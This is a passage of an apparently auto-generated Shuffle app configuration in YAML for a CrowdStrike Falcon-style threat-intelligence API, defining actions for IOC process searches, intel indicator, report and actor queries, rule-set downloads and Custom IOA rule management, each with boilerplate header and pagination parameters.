multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The first process to return, where 0 is the latest offset. Use with - the offset parameter to manage pagination of results. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The first process to return, where 0 is the latest offset. Use with - the limit parameter to manage pagination of results. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_processes_associated_with_a_custom_ioc - label: IOCs - Search for processes associated with a custom IOC - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: |2 - - The type of the indicator. Valid types include: - - sha256: A hex-encoded sha256 hash string. Length - min: 64, max: 64. - - md5: A hex-encoded md5 hash string. Length - min 32, max: 32. - - domain: A domain name. Length - min: 1, max: 200. - - ipv4: An IPv4 address. Must be a valid IP address. - - ipv6: An IPv6 address. Must be a valid IP address. - name: type - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The string representation of the indicator - name: value - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Specify a host's ID to return only processes from that host. Get - a host's ID from GET /devices/queries/devices/v1, the Falcon console, or the - Streaming API. - name: device_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The first process to return, where 0 is the latest offset. Use with - the offset parameter to manage pagination of results. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The first process to return, where 0 is the latest offset. Use with - the limit parameter to manage pagination of results. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_indicators - label: IOCs - Search for Indicators - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from. Offset and After params - are mutually exclusive. If none provided then scrolling will be used by default. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The sort expression that should be used to sort the results. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_info_about_indicators - label: Intel - Get info about indicators that match provided FQL filters - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the starting row number to return indicators from. Defaults to - 0. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the number of indicators to return. The number must be between - 1 and 50000 - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Order fields in ascending or descending order. - - Ex: published_date|asc. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter your query by specifying FQL filter parameters. Filter parameters include: - - _marker, actors, deleted, domain_types, id, indicator, ip_address_types, kill_chains, labels, labels.created_on, labels.last_valid_on, labels.name, last_updated, malicious_confidence, malware_families, published_date, reports, targets, threat_types, type, vulnerabilities. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Perform a generic substring search across all fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: If true, include both published and deleted indicators in the response. - Defaults to false. - name: include_deleted - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: download_earlier_rule_sets - label: Intel - Download earlier rule sets - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ID of the rule set. - name: id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Choose the format you want the rule set in. Valid formats are zip - and gzip. Defaults to zip. - name: format - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_report_ids - label: Intel - Get report IDs that match provided FQL filters - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the starting row number to return report IDs from. Defaults to - 0. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the number of report IDs to return. The value must be between - 1 and 5000. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Order fields in ascending or descending order. - - Ex: created_date|asc. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter your query by specifying FQL filter parameters. Filter parameters include: - - actors, actors.id, actors.name, actors.slug, actors.url, created_date, description, id, last_modified_date, motivations, motivations.id, motivations.slug, motivations.value, name, name.raw, short_description, slug, sub_type, sub_type.id, sub_type.name, sub_type.slug, tags, tags.id, tags.slug, tags.value, target_countries, target_countries.id, target_countries.slug, target_countries.value, target_industries, target_industries.id, target_industries.slug, target_industries.value, type, type.id, type.name, type.slug, url. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Perform a generic substring search across all fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_rule_ids - label: Intel - Search for rule IDs that match provided filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: |- - The rule news report type. Accepted values: - - snort-suricata-master - - snort-suricata-update - - snort-suricata-changelog - - yara-master - - yara-update - - yara-changelog - - common-event-format - - netwitness - name: type - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the starting row number to return reports from. Defaults to 0. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The number of rule IDs to return. Defaults to 10. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Order fields in ascending or descending order. - - Ex: created_date|asc. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Search by rule title. - name: name - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Substring match on description field. - name: description - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Search for rule tags. - name: tags - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Filter results to those created on or after a certain date. - name: min_created_date - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Filter results to those created on or before a certain date. - name: max_created_date - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Perform a generic substring search across all fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_info_about_reports - label: Intel - Get info about reports that match provided FQL filters - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the starting row number to return reports from. Defaults to 0. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the number of reports to return. The value must be between 1 - and 5000. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Order fields in ascending or descending order. Ex: created_date|asc.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter your query by specifying FQL filter parameters. Filter parameters include: - - actors, actors.id, actors.name, actors.slug, actors.url, created_date, description, id, last_modified_date, motivations, motivations.id, motivations.slug, motivations.value, name, name.raw, short_description, slug, sub_type, sub_type.id, sub_type.name, sub_type.slug, tags, tags.id, tags.slug, tags.value, target_countries, target_countries.id, target_countries.slug, target_countries.value, target_industries, target_industries.id, target_industries.slug, target_industries.value, type, type.id, type.name, type.slug, url. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Perform a generic substring search across all fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - The fields to return, or a predefined set of fields in the form of the collection name surrounded by two underscores like: - - \_\_\\_\_. - - Ex: slug \_\_full\_\_. - - Defaults to \_\_basic\_\_. - name: fields - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_indicators_ids - label: Intel - Get indicators IDs that match provided FQL filters - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the starting row number to return indicator IDs from. Defaults - to 0. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the number of indicator IDs to return. The number must be between - 1 and 50000 - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Order fields in ascending or descending order. - - Ex: published_date|asc. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter your query by specifying FQL filter parameters. Filter parameters include: - - _marker, actors, deleted, domain_types, id, indicator, ip_address_types, kill_chains, labels, labels.created_on, labels.last_valid_on, labels.name, last_updated, malicious_confidence, malware_families, published_date, reports, targets, threat_types, type, vulnerabilities. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Perform a generic substring search across all fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: If true, include both published and deleted indicators in the response. - Defaults to false. - name: include_deleted - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_specific_actors_using_their_actor_ids - label: Intel - Retrieve specific actors using their actor IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "ids": "${ids}" - } - value: |- - { - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_specific_indicators_using_their_indicator_ids - label: Intel - Retrieve specific indicators using their indicator IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "ids": "${ids}" - } - value: |- - { - "ids": "${ids}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_info_about_actors - label: Intel - Get info about actors that match provided FQL filters - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the starting row number to return actors from. Defaults to 0. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the number of actors to return. The value must be between 1 and - 5000. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Order fields in ascending or descending order. - - Ex: created_date|asc. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter your query by specifying FQL filter parameters. Filter parameters include: - - actors, actors.id, actors.name, actors.slug, actors.url, created_date, description, id, last_modified_date, motivations, motivations.id, motivations.slug, motivations.value, name, name.raw, short_description, slug, sub_type, sub_type.id, sub_type.name, sub_type.slug, tags, tags.id, tags.slug, tags.value, target_countries, target_countries.id, target_countries.slug, target_countries.value, target_industries, target_industries.id, target_industries.slug, target_industries.value, type, type.id, type.name, type.slug, url. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Perform a generic substring search across all fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - The fields to return, or a predefined set of fields in the form of the collection name surrounded by two underscores like: - - \_\_\\_\_. - - Ex: slug \_\_full\_\_. - - Defaults to \_\_basic\_\_. - name: fields - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_a_report_pdf_attachment - label: Intel - Return a Report PDF attachment - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ID of the report you want to download as a PDF. - name: id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: download_the_latest_rule_set - label: Intel - Download the latest rule set - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: |- - The rule news report type. Accepted values: - - snort-suricata-master - - snort-suricata-update - - snort-suricata-changelog - - yara-master - - yara-update - - yara-changelog - - common-event-format - - netwitness - name: type - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Choose the format you want the rule set in. Valid formats are zip - and gzip. Defaults to zip. - name: format - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_details_for_rule_sets_for_ids - label: Intel - Retrieve details for rule sets for the specified ids - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The ids of rules to return. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_actor_ids - label: Intel - Get actor IDs that match provided FQL filters - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the starting row number to return actors IDs from. Defaults to - 0. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Set the number of actor IDs to return. The value must be between - 1 and 5000. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Order fields in ascending or descending order. - - Ex: created_date|asc. - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter your query by specifying FQL filter parameters. Filter parameters include: - - actors, actors.id, actors.name, actors.slug, actors.url, created_date, description, id, last_modified_date, motivations, motivations.id, motivations.slug, motivations.value, name, name.raw, short_description, slug, sub_type, sub_type.id, sub_type.name, sub_type.slug, tags, tags.id, tags.slug, tags.value, target_countries, target_countries.id, target_countries.slug, target_countries.value, target_industries, target_industries.id, target_industries.slug, target_industries.value, type, type.id, type.name, type.slug, url. - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Perform a generic substring search across all fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_specific_reports_using_their_report_ids - label: Intel - Retrieve specific reports using their report IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the reports you want to retrieve. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - The fields to return, or a predefined set of fields in the form of the collection name surrounded by two underscores like: - - \_\_\\_\_. - - Ex: slug \_\_full\_\_. - - Defaults to \_\_basic\_\_. - name: fields - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_rules_by_id - label: Custom IOA - Get rules by ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the entities - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_rules_from_a_rule_group_by_id - label: Custom IOA - Delete rules from a rule group by ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The parent rule group - name: rule_group_id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The IDs of the entities - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Explains why the entity is being deleted - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_a_rule_within_a_rule_group - label: Custom IOA - Create a rule within a rule group - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - 